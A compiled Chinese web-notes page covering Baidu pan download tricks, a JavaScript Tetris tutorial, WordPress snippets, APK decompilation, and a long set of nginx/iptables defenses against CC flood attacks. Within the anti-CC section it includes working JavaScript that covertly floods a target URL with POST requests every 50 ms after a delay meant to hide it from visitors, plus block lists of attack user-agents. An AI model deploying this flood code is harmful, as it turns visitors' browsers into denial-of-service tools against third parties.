百度云网页版下载相关
桌面版用户https://pan.baidu.com/share/home?uk=用户ID#category/type=0
手机版用户http://pan.baidu.com/wap/share/home?uk=用户ID&third=0
桌面版分享https://pan.baidu.com/share/link?shareid=分享ID&uk=用户ID
手机版分享https://pan.baidu.com/wap/init?shareid=分享ID&uk=用户ID
点击头像即可找到链接ID
用VPS下360云盘和百度云:方法2更简单
1.将解析出来的下载地址,在Linux终端使用wget下载:
wget -c --referer=http://pan.baidu.com/s/1hq04k1e -O testfile.PNG
"http://nb.baidupcs.com/file/6a0a41574d8603ff04786b046da3e361?...........testfile.PNG"
注:此处-c 为断点续传,--referer为百度云分享地址,-O为指定输出文件,后面接浏览器下载文件的下载地址。
终于可以使用wget轻松下载百度云盘共享的资源了。
2.wget -c -O 文件名.后序名 "云盘解析后的下载地址"
网页不能下载EXE,
你可以用 ie核,chrome核的不行。
或者把这个转存到你的网盘,
你再改一下扩展名格式,改成rar就可以了,
下载完再改回来
http://pan.baidu.com/*
打开Network, 选All, 点击【下载】,在Type出现【document】,在Initiator下右键【Copy】->【Copy link address 】
搭配百度云不限速方法:
·打开ADM Pro 的侧滑栏 选择 “设置”
·再选择 “下载”
·然后选择 “User-Agent”(浏览器标识)
·在对话框中选择 "Custom" (自定义)
·最后在 “Custom项” 中填写:netdisk;5.2.7;PC;PC-Windows;6.2.9200;WindowsBaiduYunGuanJia
·打开es浏览器,选择网盘,点添加,然后点百度云,输入你的百度云帐号登录。
·找到你要下载的软件,视频,zip,长按,打开为音频,选择ADP PRO,然后点击开始。
·可以了!大家飞速下载吧!!
·以后下载的时候选择ADM Pro下载就可以了!
JS版俄罗斯方块代码详细解说
来自:JS版俄罗斯方块代码详细解说
书写过程中的难点
方块变形算法的实现
边界检测和占用检测
方块旋转算法及BUG修复的两种方式
首先说明一下,方块我们是用一维数组来存储四个对象来实现的。方块表示代码如下:
switch (t){
case 0:{ //"田"字形
this.shape[0] = {x:0, y:0};
this.shape[1] = {x:1, y:0};
this.shape[2] = {x:0, y:1};
this.shape[3] = {x:1, y:1};
break;
}
case 1:{ //"|"字形
this.shape[0] = {x:0, y:0};
this.shape[1] = {x:0, y:1};
this.shape[2] = {x:0, y:2};
this.shape[3] = {x:0, y:3};
break;
}
case 2:{ //反"z"字形
this.shape[0] = {x:0, y:0};
this.shape[1] = {x:0, y:1};
this.shape[2] = {x:1, y:1};
this.shape[3] = {x:1, y:2};
break;
}
case 3:{ //"z"字形
this.shape[0] = {x:1, y:0};
this.shape[1] = {x:1, y:1};
this.shape[2] = {x:0, y:1};
this.shape[3] = {x:0, y:2};
break;
}
case 4:{ //"┖"字形
this.shape[0] = {x:0, y:0};
this.shape[1] = {x:0, y:1};
this.shape[2] = {x:1, y:1};
this.shape[3] = {x:2, y:1};
break;
}
case 5:{ //"┛"字形
this.shape[0] = {x:0, y:1};
this.shape[1] = {x:1, y:1};
this.shape[2] = {x:2, y:1};
this.shape[3] = {x:2, y:0};
break;
}
case 6:{ //"┻"字形
this.shape[0] = {x:1, y:0};
this.shape[1] = {x:0, y:1};
this.shape[2] = {x:1, y:1};
this.shape[3] = {x:2, y:1};
break;
}
}
而上面的x,y代表着他的位置,看起来还真像数学里面学习的二维坐标系。那现在我们就先用数学方法来模拟旋转。请看下图:
俄罗斯广场旋转算法详解 向量CA = (X1 – X, Y1 - Y) 把向量CA顺时针旋转90度,得到向量CB,由(CA * CB =0)可知: 向量CB = (Y1 - Y, X – X1) 又由于 向量CB = (X2 – X , Y2 - Y) 故得X2= X – Y + Y1 Y2 = X + Y –X1 由以上的旋转方法,我们就可以对方块进行变形处理。代码如下:(以下是以逆时针方向旋转为基础)
block.prototype.rotate = function(){
this.copy();
//复制当前activeBlock方块,当旋转不符合要求时,可以还原方块
this.board.eraserActblock();
var cx = 0,cy = 0;
for(var i=0; i<this.shape.length; i++){
cx += this.shape[i].x;
cy += this.shape[i].y;
}
cx = Math.round(cx/this.shape.length);
cy = Math.round(cy/this.shape.length);
if(this.blockType == 4 || this.blockType == 5 || this.blockType == 6){
//对方块类型进行判断
for(i = 0; i<this.shape.length; i++){
//旋转方块
this.shape[i].x = cx + cy - this.backShape[i].y;
this.shape[i].y = cy - cx + this.backShape[i].x;
}
} else if(this.max("x")-this.min("x") == 1 || this.max('x')- this.min('x') == 3) {
for(i = 0; i<this.shape.length; i++){
//旋转方块
this.shape[i].x = cx + cy - this.backShape[i].y-1;
this.shape[i].y = cy - cx + this.backShape[i].x;
}
} else {
for(i = 0; i<this.shape.length; i++){
//旋转方块
this.shape[i].x = cx + cy - this.backShape[i].y;
this.shape[i].y = cy - cx + this.backShape[i].x;
}
}
if(!this.isIllegal()){
//旋转后的方块不符合要求,则还原方块
for( i=0; i< this.shape.length; i++){
this.shape[i].x = this.backShape[i].x;
this.shape[i].y = this.backShape[i].y;
}
}
this.board.paintActblock();
}
你可以查看DEMO(点击查看演示DEMO),里面也是用逆时针方向来实现的旋转。其中bug,你一看就会知道。(产生的具体原因就自行分析吧!) 旋转算法引起水平偏移BUG的两种解决方案:
进行类型分析,不同类型单独处理(具体代码见上)
方块移动方向改为向下(即可以把旋转方向改为顺时针方向,具体算法实现见上讲旋转算法处),从而达到隐藏bug偏移产生的bug。
方块的边界检测和合法性检测
其实怎么说呢?合法性和边界这两个特性是分不开的。因为边界性如果检测不通过的话,那么合法性也就更不用说了。 边界检测就是检测board对象shape属性保存的数组中对象x、y的值是否在面板内。而占用检测也就是看当前board对象中shape属性保存的数组中对象x、y所对就面板的小方块不否为1,要是为1的话,证明已经被占用,相反则没有占用。实现的代码如下:
block.prototype.isIllegal = function(checkObj){//这个里面放被检测的对象
var checkObj = checkObj || this.shape;
for(var i=0; i<checkObj.length; i++){
if(checkObj[i].x < 0 || checkObj[i].x > (this.board.w-1) || checkObj[i].y<0 || this.board.status[checkObj[i].y][checkObj[i].x] ==1 ){
return false;
}
}
return true;
};
欲看详源代码,请请试玩“俄罗斯方块重写”,并占击右键查看源代码。此版本会一直保存,后序版本将会在此版本上进行扩展。并最终实现在手机,电脑上都可以玩。 小结: 第一次利用原生的Javascript来写小游戏。感受颇多!
JavaScript真的很强大。只要你想得到,它几乎都能做得到(可能说的是有点夸张了)。
原来写JS代码多是面向过程来写的。而这次也是尝试着来用面向对象的方法来写,也就使得我对this关键字,作用域链等都有了更加深入的了解。
代码总体来讲是完整了写了两次,第一次写完了,自己实现是看不下去,所以又重写了。但是现在看来现在可以看到的版本,还是存在很多的问题。(在后面的时间里,我会在此基础上进行完善和扩展。)
WordPress前端未审核留言提醒
转载:WordPress前端未审核留言提醒
这个实用的小功能找了很久,终于在[这里]2找到了答案。
他把提醒放到了标题里滚动显示了,我改成直接像多说一样显示,PHP代码如下:
// 返回网站中未审核留言数
function get_not_audit_comments(){
if(is_home() && current_user_can('level_10')){ //只有在首页,并且管理员登录是才执行
$awaiting_mod = wp_count_comments();
$awaiting_mod = $awaiting_mod->moderated;
if($awaiting_mod){
//当存在未审核留言
echo "<div id=\"awaiting_comments\"><a href=".admin_url( 'edit-comments.php' ).'><i class=\'fa fa-comments\'></i>你有'.$awaiting_mod.'条新回复</a></div>';
}
}
}
add_filter('wp_footer','get_not_audit_comments');
CSS代码如下:
#awaiting_comments{
position:fixed;
top: 65px;
right: 24px;
z-index:9999;
max-width: 180px;
_width:130px;
display:block;
float:none;
padding: 5px 12px;
background-color:#fff;
-webkit-border-radius:5px;
border-radius:5px;
box-shadow:0 1px 1px rgba(0,0,0,0.25);
border:1px solid #aaa;
}
#awaiting_comments i{
margin-right: 7px;
}
#awaiting_comments a{
line-height: 1;
color:#d32;
text-decoration:none;
}
在网站标题中加入未审核留言提醒
前两天看了一套wordpress主题,感觉其中的一个很小的功能很不错(你可以查看本文网页标题)。当网站有新的留言,管理员登录之后,在网站首页的标题上就可以看到消息提醒,很是方便。看了主题源码,没有找到相应的代码。之后通过查找网站后台的模板,才知道可以通过wp_count_comments()
来得到相关的信息。 其它的,咱也不多说了,直接来说怎么做吧!把以下的代码复制到主题的functions.php
文件中。
// 返回网站中未审核留言数
function get_not_audit_comments(){
if(is_home() && current_user_can('level_10')){ //只有在首页,并且管理员登录是才执行
$awaiting_mod = wp_count_comments();
$awaiting_mod = $awaiting_mod->moderated;
if($awaiting_mod){
//当存在未审核留言
echo "<div style=\"display:none;\" id=\"awaiting_mod\">【有".$awaiting_mod.'条未审核留言】-</div>';
echo '<script type=\'text/javascript\' src=\'';
bloginfo('stylesheet_directory');
echo '/js/titlemove.js\'></script>';
}
}
}
add_filter('wp_footer','get_not_audit_comments');
接着,把下面的代码另存为titlemove.js,并放到当前主题的js文件夹中(如果不存在的话,你可以直接创建)。
function titlemove(){
var msg =document.getElementById('awaiting_mod').textContent + window.document.title;
setInterval(function(){
msg = msg.substring(1,msg.length) + msg.substring(0,1);
window.document.title = msg;
},500);
}
jQuery(function(){
titlemove();
});
由于以上代码,部分是依赖于jQuery
库,所以请确保你已经加载了jQuery库。 完成以上操作,登录后返回到网站的首页,如果存在未审核留言的话,你应该就会看到类似本文标题连环滚动的样子了。
WordPress 登录保护加强版
来自老赵茶馆:WordPress 登录保护加强版
事关自从添加了登录失败的邮件通知后,一直有人反馈说有机器人暴力破解,而收到一大堆邮件。不过实际上只要你的用户们和密码足够复杂,机器人没几万年也破解不了。
请看下面所谓的修改后台登录地址的保护方法:
//保护后台登录
add_action('login_enqueue_scripts','login_protection');
function login_protection(){
if($_GET['admin'] != 'true')header('Location: http://lazyhood.com/');
}
这种方法只等挡住人为的破解,机器人压根不会访问Wordpress后台的登录地址,而是通过以post方式提交的登录请求的。
所以只能想办法了,一就是安装一些登录保护插件例如lockdown,一就是添加保护代码到functions.php,我选择后者。谷歌后得到的答案是这样子的,提供了三重登录保护。
首先是阻止与HTTP 1.0的任何登录POST请求,因为常见的机器人都是使用HTTP1.0,这应该有效地阻止他们登录:
//过滤HTTP 1.0的登录POST请求
function wlp_filter_http() {
if(preg_match('/1.0/',$_SERVER['SERVER_PROTOCOL'])) { wlp_forbidden(); }
}
add_action('login_init','wlp_filter_http');
然后是通过设置一个cookie的初始值,如果cookie不存在POST请求,登录会被阻止:
// POST Cookie 保护
function wlp_set_login_protection_cookie() {
if( strtoupper($_SERVER['REQUEST_METHOD'])=='GET' and
!isset($_COOKIE['wlp_post_protection']) ) {
setcookie('wlp_post_protection','1',time()+60*60*24);
$_COOKIE['wlp_post_protection'] = '1';
}
}
function wlp_post_protection() {
if( strtoupper($_SERVER['REQUEST_METHOD'])=='POST' and
!isset($_COOKIE['wlp_post_protection']) ) {
wlp_forbidden();
}
}
add_action('init','wlp_set_login_protection_cookie');
add_action('login_init','wlp_post_protection');
最后是增加额外登录验证,这将增加一层额外的WordPress的登录页面,这是一个更积极的做法,而应完全防止任何从机器人甚至试图WordPress的登录,不同于修改你的网络服务器配置,以增加基本身份验证,这种方法不会破坏AJAX行为的功能。
// 增加额外登录验证
function wlp_basic_auth() {
if( !isset($_SERVER['PHP_AUTH_USER']) or !isset($_SERVER['PHP_AUTH_PW']) )
wlp_unauthorized(__('No credentials have been provided.', 'memberpress'));
else {
$user = wp_authenticate($_SERVER['PHP_AUTH_USER'],$_SERVER['PHP_AUTH_PW']);
if(is_wp_error($user))
wlp_unauthorized( $user->get_error_message() );
}
}
function wlp_unauthorized($message) {
header('WWW-Authenticate: Basic realm="' . get_option('blogname') . '"');
header('HTTP/1.0 401 Unauthorized');
die(sprintf(__('UNAUTHORIZED: %s', 'memberpress'),$message));
}
add_action('login_init','wlp_basic_auth');
最最后的一步是当登录失败时,让服务器返回403状态:
// 登录错误,返回403状态
function wlp_forbidden() {
header("HTTP/1.0 403 Forbidden");
exit;
}
使用PHP方式切换CSS样式
来自老赵茶馆:使用PHP方式切换CSS样式
CSS-Style-Switcher地址:Github
效果就是我网站的右上角的皮肤切换按钮,网上切换CSS样式的教程其实很多,但都是以js的方式切换的,就是说虽然有cookie效果,但每次都要加载这段js,甚至有时出现延迟闪烁的问题,我的Teahouse就是使用js的ajax方式的。我后来谷歌了一下,找到了使用PHP方式切换CSS样式,效果更理想些,可惜每次都要刷新。
先看看作者的概述:
一个简单的切换CSS样式的PHP脚本,支持一次多个CSS文件,具有默认的CSS文件的支持,更多等等,一个漂亮整洁的脚本而且比JavaScript更稳定的解决方案。
功能
无须PHP知识,不用安装,只需把这个脚本拖放到你的CSS文件夹,并且确保你的服务器支持PHP
只有一个HTML文件的情况下,通过多个CSS文件来理想的展示你工作。
比JavaScript模式更快,而且就算浏览器没开启js支持也没问题
自动定义以下顺序的一个或多个默认的CSS文件:
自动寻找default_1.css和default_2.css作为默认样式
假如寻找不到默认样式,即按字母寻找第一个CSS文件
使用链接来改变CSS样式,设置Cookie为1小时,然后重定向到最后一页。如果上次访问页面无法找到(HTTP_REFERER)PHP脚本将重定向到网站的索引。
使用
在头部引入脚本
<link rel="stylesheet" type="text/css" href="css/switch.php">
把你的css样式文件都放到PHP脚本的同一目录下
通过链接改变CSS样式
<a href=”css/switcher.php?style=another_1.css”>其它样式</a>
使用svg做网站logo的合集
来自老赵茶馆的:http://zhw-island.com/wordpress/jquery-qrcode.html
A collection of web development logos in SVG :link
Svg的好处就不多说了,实际上wordpress默认是不支持svg上传的,在functions.php文件里添加以下代码即可
/* SVG支持 */
function my_upload_mimes($mimes = array()) {
$mimes['svg'] = 'image/svg+xml';
return $mimes;
}
add_filter('upload_mimes', 'my_upload_mimes');
使用jQuery.qrcode为WordPress文章动态生成二维码
来自老赵茶馆的使用jQuery.qrcode为WordPress文章动态生成二维码
jQuery.qrcode地址:link
在线生成器:link
网上流传的方法是采用外网的API方式生成,好处是简单粗暴,缺点是自定义不够;我主题使用的是jQuery.qrcode,好处是自定义功能丰富,缺点是要加载额外js。
首先是载入jQuery,载入jQuery.qrcode,然后在single.php里加入以下代码:
<script>
jQuery(window).load(function() {
jQuery("#qrcode").qrcode({
text: "<?php the_permalink(); ?>"
});
});
</script>
当然,这是最简单的配置,再加些css美化下就OK了,下面说说所有配置的,可按需添加。
{
// 渲染方式默认有html5的画布canvas,还有image、div
render: 'canvas',
// 版本version范围为1到40,就是格子的密度
minVersion: 1,
maxVersion: 40,
// 容错率从低到高四种模式: 'L', 'M', 'Q' or 'H'
ecLevel: 'L',
// 如果画布渲染时的上像素偏移
left: 0,
top: 0,
// 像素大小
size: 200,
// 填充颜色
fill: '#000',
// 背景颜色
background: null,
// 内容,可以使文本或者网址
text: 'no text',
// 圆角: 0.0 到 0.5
radius: 0,
// 空白的边界
quiet: 0,
//模式
// 0: normal,正常模式即最简洁模式
// 1: label strip,可插入标签条
// 2: label box,可插入标签盒子
// 3: image strip,可插入图像条
// 4: image box,可插入图像盒子
mode: 0,
// 分别是标签或图像的缩放,x偏移,y偏移
mSize: 0.1,
mPosX: 0.5,
mPosY: 0.5,
// 标签文字、字体、颜色
label: 'no label',
fontname: 'sans',
fontcolor: '#000',
// 图像的地址
image: null
}
就这么简单,就是有一个难点,就是模式3和模式4的插入图像问题,你不能直接在image选项后面直接填入图像地址,那样会报错。作者解释说道,在运行生成二维码之前,图像必须先载入,然后通过选择器填入image选项。
就是说,图像必须在二维码之前载入,那就简单,我把图像载入但是通过css把它隐藏掉
<div id="qrcode">
<img id="qrcode_img" style="display:none" src="/images/qr-img.png">
</div>
...
<script>
jQuery(window).load(function() {
jQuery("#qrcode").qrcode({
mode: 4,
image: jQuery('#qrcode_img')[0],
text: "<?php the_permalink(); ?>"
});
});
</script>
...
简单的APK反编译教程
APK反编译教程
第一步
首先我们直接用一个解压apk(开发过android应该知道apk其实就是个压缩文件),解压之后拷贝出里面classes.dex文件待用。
第二步
*下载dex2jar工具,最新版下载链接dex2jar下载
*解压之后,打开cmd,进入解压目录,运行命令:
d2j-dex2jar.bat classes.dex(上一步解压的) jarpath(反编译dex后的文件目录)
example:
d2j-dex2jar.bat c:\user\qting\classes.dex c:\user\apkresource\
*反编译之后,会得到一个classes-dex2jar.jar文件,待用。
第三步
*下载JD-GUI(反编译jar神器),最新版下载链接JD-GUI下载
*解压之后,双击打开,直接把上一步得到的的classes-dex2jar.jar文件直接拖入JD-GUI里面,你就可以随意查看APK的源码了。
foobar2000 汉化版
人生的意义与甜甜圈
鸡汤
防CC的收集以及实现基于js的CC攻击
A
<?php
session_start();
$k=$_GET['k'];
$t=$_GET['t'];
$allowTime = 1800;//防刷新时间
$ip = get_client_ip();
$allowT = md5($ip.$k.$t);
if(!isset($_SESSION[$allowT]))
{
$refresh = true;
$_SESSION[$allowT] = time();
}elseif(time() - $_SESSION[$allowT]>$allowTime){
$refresh = true;
$_SESSION[$allowT] = time();
}else{
$refresh = false;
}
?>
B
<?php
session_start();
$allow_sep = "2";
if (isset($_SESSION["post_sep"])){
if (time() - $_SESSION["post_sep"] < $allow_sep){
exit("请不要频繁刷新,休息2秒再刷新吧");
}
else{
$_SESSION["post_sep"] = time();
}
}
else{
$_SESSION["post_sep"] = time();
}
?>
C
<?
session_start();
if(!empty($_POST[name])){
$data = $_POST[name];
$tag = $_POST[tag];
if($_SESSION[status]==$tag){
echo $data;
}else{
echo "不允许刷新!";
}
}
$v = mt_rand(1,10000);
?>
<form method="post" name="magic" action="f5.php"><input type="hidden"
name="tag" value="<?=$v?>"><input type=text name="name"><input type="submit" value="submit">
</form>
<?
echo $v;
$_SESSION[status] = $v;
?>
D
通过分析nginx的access日志看到,该攻击的访问没有 user-agent ,然后果断出击,通过配置nginx
if ($http_x_forwarded_for ~ 223.4.121.225){
return 403;
}
if ($http_user_agent=""){
return 403;
}
将ip为223.4.121.225 这个攻击源的和user-agent 为空的,全部干掉,
重启nginx,拦截成功。
E
https://github.com/loveshell/ngx_lua_waf
F
LNMP简单的一些防CC的办法
观看生成的.log日志文件,判断来路,直接301百度:
if ($http_referer ~* mi5.gov ) {
rewrite ^(.*)$ http://www.baidu.com/ permanent;
}
观看生成的.log日志文件,判断浏览器特征码,直接301百度:
if ($http_user_agent ~* firefox4.0 ) {
rewrite ^(.*)$ http://www.baidu.com/ permanent;
}
根据特征码,直接查找.log文件,并iptables封死相应IP:
cat com.log | grep 'Mozilla/5.0' | awk '{print "iptables -I INPUT -p tcp --dport 80 -s ", $1, "-j DROP"}'| sort -n | uniq | sh
G
如192.241.x.x – – [07/Apr/2016:12:22:44 +0800] “GET /index.php HTTP/1.0″ 200 “-” “WordPress/3.9.2; http://www.x.x; verifying pingback from 69.30.x.x” “-“
这里很明显,全部都是Wordpress。下面我们给出防护nginx,apache的防护方案教程(请根据自己的WEB服务器判断是哪一种):
Nginx:
在location /
区块种添加如下代码:
# WordPress Pingback Request Denial
if ($http_user_agent ~* “WordPress”) {
return 403;
}
这样的话有请求也不会去找PHP了,nginx及时的返回403,如果连接过多的话需要修改nginx中 worker_connections的参数值,可以把它增加到更大的值。
Apache:
在配置文件中添加:
BrowserMatchNoCase WordPress wordpress_ping
BrowserMatchNoCase WordPress wordpress_ping
Order Deny,Allow
Deny from env=wordpress_ping
然后reload服务。再观察日志,可以看到全部返回403了。网站也恢复了正常访问。
如果上面的方法还是无法正常访问那就需要用到iptables了。
IPTABLES防护:
cat /var/log/nginx/access.log | grep “verifying pingback from” > pingback_attack.log
然后用php分析日志
,导入到iptables规则中。
<?php
error_reporting(0);
$reqs = file(“pingback_attack.log”);
foreach ($reqs as $req) {
$ip = explode(” – – “, $req);
$ip_address[$ip[0]]++;
}
arsort($ip_address);
foreach ($ip_address as $ip=>$attack_times) {
print “# WordPress IP. Attacked {$attack_times} times<br />”;
print “iptables -A INPUT -s {$ip} -j DROP<br />”;
}
?>
然后将输出的内容执行到iptables规则里面。
H
功能:
1.读取 nginx/log/access.log 最后一条
2.如果包含 MISE ,则将此条目中的IP地址加入 Iptables规则
tail -n 1 nginx/log/access.log | grep MSIE | awk '{print $1}' | xargs -i iptables -I INPUT -s {}/32 -j DROP
脚本sh
#!/bin/bash
logfile=
while true
do
tail -1 a | grep -sq MISE
if [[ "$?" -eq 0 ]];then
ip=$(tail -1 "$logfile" | grep -oE "([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}")
echo $ip
fi
sleep 5
done
用iptables自动封连接数较大的IP防CC
此脚本用于分析统计secure日记文件,对ssh登录错误次数较多的IP用iptables封掉。
#!/bin/bash
#Created by http://www.onovps.com www.2cto.com
num=10 #上限
for i in `awk '/Failed/{print $(NF-3)}' /var/log/securesortuniq -csort -rnawk '{if ($1>$num){print $2}}'`
do
iptables -I INPUT -p tcp -s $i --dport 22 -j DROP
done
加入crontab计划任务
crontab -e
* */5 * * * sh /path/file.sh #5小时执行一次
I
linux中Iptables限制同一IP连接数防CC/DDOS攻击方法
介绍linux中Iptables限制同一IP连接数防CC/DDOS攻击方法,这个只是最基于的防止方法,如果真正的攻击我们还是需要硬件耿防止哦。
1.限制与80端口连接的IP最大连接数为10,可自定义修改。
代码如下
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 10 -j DROP
#默认iptables模块不包含connlimit,需要自己单独编译加载
参考iptables防DDOS攻击和CC攻击设置
from http://blog.onovps.com/archives/linux-iptables-cc.html
2.使用recent模块限制同IP时间内新请求连接数,recent更多功能请参考:Iptables模块recent应用。
代码如下
iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --rcheck --seconds 60 --hitcount 10 -j LOG --log-prefix 'DDOS:' --log-ip-options
#60秒10个新连接,超过记录日志。
iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --rcheck --seconds 60 --hitcount 10 -j DROP
#60秒10个新连接,超过丢弃数据包。
iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --set -j ACCEPT
#范围内允许通过。
J
下面的是某一次CC攻击时的User-agent,Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)Cache-Control: no-store, must-revalidate
几乎没有正常的浏览器会在User-agent中带上must-revalidate
这样的关键字。所以我们可以以这个为特征进行过滤,将User-agent中带有must-revalidate
的请求全部拒绝访问:
if ($http_user_agent ~ must-revalidate) {
return 403;
}
K
nginx过滤无聊的pingback CC请求
if ($http_user_agent ~* (ApacheBench|pingback|WordPress|MJ12bot|AhrefsBot|360JK|PHP|php|Jorgee) ) {return 101;}
if ($http_user_agent = "" ) {return 101;}
if ( $request = "POST /reg.html HTTP/1.1" ) {return 400;}
if ( $request = "POST / HTTP/1.1" ) {return 400;}
if ( $request = "POST / HTTP/1.0" ) {return 400;}
if ( $request = "POST // HTTP/1.0" ) {return 400;}
Nginx-CC
http{
...
limit_zone one $binary_remote_addr 10m;
...
server{
listen 80;
....
location/{
limit_conn one 5; #限制连接数
limit_rate 500k; # 限制速度
}
}
上面的相对比较简单,下面我来分析更具体的配置方法。CentOS/Redhat/Fedora
在服务器执行
代码如下
vi /etc/sysconfig/iptables
删除原来的内容输入如下内容,保存
# Generated by iptables-save v1.3.5 on Sun Dec 12 23:55:59 2010
*filter
:INPUT DROP [385263:27864079]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [4367656:3514692346]
-A INPUT -i lo -j ACCEPT
-A INPUT -m state –state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -s 127.0.0.1 -j ACCEPT
-A INPUT -p tcp -m tcp –dport 80 -m state –state NEW -m recent –set –name WEB –rsource
-A INPUT -p tcp -m tcp –dport 80 -m state –state NEW -m recent –update –seconds 5 –hitcount 20 –rttl –name WEB –rsource -j DROP
-A INPUT -p tcp -m multiport –ports 21,22,80 -j ACCEPT
-A INPUT -p tcp -m tcp –tcp-flags SYN,RST,ACK SYN -m ttl –ttl-eq 117 -j DROP
-A INPUT -p tcp -m tcp –tcp-flags SYN,RST,ACK SYN -m length –length 0:40 -j DROP
-A INPUT -p tcp -m tcp ! –tcp-flags SYN,RST,ACK SYN -m state –state NEW -j DROP
COMMIT
# Completed on Sun Dec 12 23:55:59 2010
说明此设定仅对外开放21(FTP),22(SSH),80(http网站)三个TCP端口。设置80端口5秒内20个连接
重启iptables服务 /etc/init.d/iptables restart
设定iptables随机启动chkconfig iptables on
实现基于js的CC攻击
下面是ajax攻击代码,间隔时间可以根据需要自己调整,设置的是50毫秒一次。
<script type="text/javascript">
var t_postdata='id=cacacacacacacaca';//数据越大效果越好。
var t_url='http://www.xxx.com/test.php';
function c_xmlHttp(){
if(window.ActiveXObject){
xmlHttp=new ActiveXObject('Microsoft.XMLHTTP');
}
else if(window.XMLHttpRequest)
{
xmlHttp=new XMLHttpRequest();
}
return xmlHttp;
}
function post_send(){
var xmlHttp=c_xmlHttp();
xmlHttp.open("POST",t_url,true);
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send(t_postdata);
r_send();
}
function r_send(){
setTimeout("post_send()", 50);//50毫秒一次
}
if(!+[1,])//IE下不执行。
{var fghj=1;}
else
{setTimeout("post_send()", 3000);}//访问网站3秒后再执行,这样用户就毫无感觉。
</script>
正则表达式匹配 | 说明 |
---|---|
* ~ | 为区分大小写匹配 |
~ | 为不区分大小写匹配 |
!~和!~ | 分别为区分大小写不匹配及不区分大小写不匹配 |
文件及目录匹配 | 说明 |
---|---|
* -f和!-f | 用来判断是否存在文件 |
* -d和!-d | 用来判断是否存在目录 |
* -e和!-e | 用来判断是否存在文件或目录 |
* -x和!-x | 用来判断文件是否可执行 |
flag标记 | 说明 |
---|---|
* last | 相当于Apache里的[L]标记,表示完成rewrite |
* break | 终止匹配, 不再匹配后面的规则 |
* redirect | 返回302临时重定向 地址栏会显示跳转后的地址 |
* permanent | 返回301永久重定向 地址栏会显示跳转后的地址 |
一些可用的全局变量 | 可以用做条件判断 |
---|---|
$args | 请求中的参数; |
$content_length | HTTP请求信息里的"Content-Length"; |
$content_type | 请求信息里的"Content-Type"; |
$document_root | 针对当前请求的根路径设置值; |
$document_uri | 与$uri相同; |
$host | 请求信息中的"Host",如果请求中没有Host行,则等于设置的服务器名; |
$limit_rate | 对连接速率的限制; |
$request_method | 请求的方法,比如"GET"、"POST"等; |
$remote_addr | 客户端地址; |
$remote_port | 客户端端口号; |
$remote_user | 客户端用户名,认证用; |
$request_filename | 当前请求的文件路径名 |
$request_body_file | |
$request_uri | 请求的URI,带查询字符串; |
$query_string | 与$args相同; |
$scheme | 所用的协议,比如http或者是https,比如rewrite ^(.+)$ $scheme://example.com$1 redirect; |
$server_protocol | 请求的协议版本,"HTTP/1.0"或"HTTP/1.1"; |
$server_addr | 服务器地址,如果没有用listen指明服务器地址,使用这个变量将发起一次系统调用以取得地址(造成资源浪费); |
$server_name | 请求到达的服务器名; |
$server_port | 请求到达的服务器端口号; |
$uri | 请求的URI,可能和最初的值有不同,比如经过重定向之类的。 |
相关
介绍几种用Linux命令判断CC攻击的方法
Linux系统防CC攻击自动拉黑IP增强版Shell脚本
CCKiller:Linux轻量级CC攻击防御工具,秒级检查、自动拉黑和释放
Nginx抗CC攻击基础篇:VeryNginx
通过 nginx 配置文件抵御攻击
Linux系统防CC攻击自动拉黑IP增强版Shell脚本
来自张戈博客的:Linux系统防CC攻击自动拉黑IP增强版Shell脚本
最新更新:张戈博客已推出功能更强大的轻量级CC攻击防御脚本工具CCKiller==>传送门
前天写的Shell脚本是加入到crontab计划任务执行的,每5分钟执行一次,今天实际测试了下,可还是可以用的,但是感觉5分钟时间有点过长,无法做到严密防护。于是稍微改进了下代码,现在简单的分享下!
一、Shell代码
#!/bin/bash
#Author:ZhangGe
#Desc:Auto Deny Black_IP Script.
#Date:2014-11-05
#取得参数$1为并发阈值,若留空则默认允许单IP最大50并发(实际测试发现,2M带宽,十来个并发服务器就已经无法访问了!)
if [[ -z $1 ]];then
num=50
else
num=$1
fi
#巧妙的进入到脚本工作目录
cd $(cd $(dirname $BASH_SOURCE) && pwd)
#请求检查、判断及拉黑主功能函数
function check(){
iplist=`netstat -an |grep ^tcp.*:80|egrep -v 'LISTEN|127.0.0.1'|awk -F"[ ]+|[:]" '{print $6}'|sort|uniq -c|sort -rn|awk -v str=$num '{if ($1>str){print $2}}'`
if [[ ! -z $iplist ]];
then
>./black_ip.txt
for black_ip in $iplist
do
#白名单过滤中已取消IP段的判断功能,可根据需要自行修改以下代码(请参考前天写的脚本)
#exclude_ip=`echo $black_ip | awk -F"." '{print $1"."$2"."$3}'`
#grep -q $exclude_ip ./white_ip.txt
grep -q $black_ip ./white_ip.txt
if [[ $? -eq 0 ]];then
echo "$black_ip (white_ip)" >>./black_ip.txt
else
echo $black_ip >>./black_ip.txt
iptables -nL | grep $black_ip ||(iptables -I INPUT -s $black_ip -j DROP & echo "$black_ip `date +%Y-%m-%H:%M:%S`">>./deny.log & echo 1 >./sendmail)
fi
done
#存在并发超过阈值的单IP就发送邮件
if [[ `cat ./sendmail` == 1 ]];then sendmsg;fi
fi
}
#发邮件函数
function sendmsg(){
netstat -nutlp | grep "sendmail" >/dev/null 2>&1 || /etc/init.d/sendmail start >/dev/null 2>&1
echo -e "From: 发邮件地址@qq.com\nTo:收邮件地址@qq.com\nSubject:Someone Attacking your system!!\nIts Ip is" >./message
cat ./black_ip.txt >>./message
/usr/sbin/sendmail -f 发邮件地址@qq.com -t 收邮件地址@qq.com -i <./message
>./sendmail
}
#间隔10s无限循环检查函数
while true
do
check
#每隔10s检查一次,时间可根据需要自定义
sleep 10
done
二、执行脚本
将以上代码保存为deny_blackip.sh之后,进入到脚本文件所在目录,然后使用如下命令后台执行脚本(后面的50表示并发数,可自行调整):
nohup ./deny_blackip.sh 50 &
执行后会出现如下信息:
[root@Mars_Server iptables]# nohup ./deny_blackip.sh 50 &
[1] 23630
[root@Mars_Server iptables]# nohup: ignoring input and appending output to `nohup.out'
